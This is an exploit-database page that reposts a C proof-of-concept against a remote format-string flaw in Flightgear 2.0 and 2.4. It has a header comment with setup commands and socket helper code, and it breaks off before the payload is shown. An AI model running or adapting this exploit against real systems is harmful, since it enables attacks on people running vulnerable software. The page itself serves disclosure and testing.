Home / exploits Flightgear 2.0 / 2.4 Format String
Posted on 09 May 2013
/* # Exploit Title: Flightgear remote format string # Date: 21/04/2013 # Exploit Author: Kurono # email: andresgomezram7@gmail.com # Vendor Homepage: http://www.flightgear.org/ # Software Link: http://www.flightgear.org/download/ # Version: Tested on versions 2.0, 2.4. # Tested on: Windows (Linux user assisted) # CVE : None Flightgear allows remote control through Property tree. It is vulnerable to remote format string vulnerability when some special parameters related with clouds are changed. To test this exploit, run Flightgear with remote input, for example: fgfs.exe --fg-root="C:Program FilesFlightGear 2.4.0data" --props=5501 --disable-real-weather-fetch or fgfs.exe --fg-root="C:Program FilesFlightGear 2.4.0data" --telnet=5501 --disable-real-weather-fetch gcc -O2 -g -pedantic -Wall poc.c -o poc USAGE: ./poc [hostname [port]] More information: http://kuronosec.blogspot.com/ */ #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <stdarg.h> #include <string.h> #define DFLTHOST "127.0.0.1" #define DFLTPORT 5501 #define MAXMSG 256 #define fgfsclose close void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port); int fgfswrite(int sock, char *msg, ...); const char *fgfsread(int sock, int wait); void fgfsflush(int sock); int fgfswrite(int sock, char *msg, ...) { va_list va; ssize_t len; char buf[MAXMSG]; va_start(va, msg); vsnprintf(buf, MAXMSG - 2, msg, va); va_end(va); printf("SEND: <%s> ", buf); strcat(buf, "
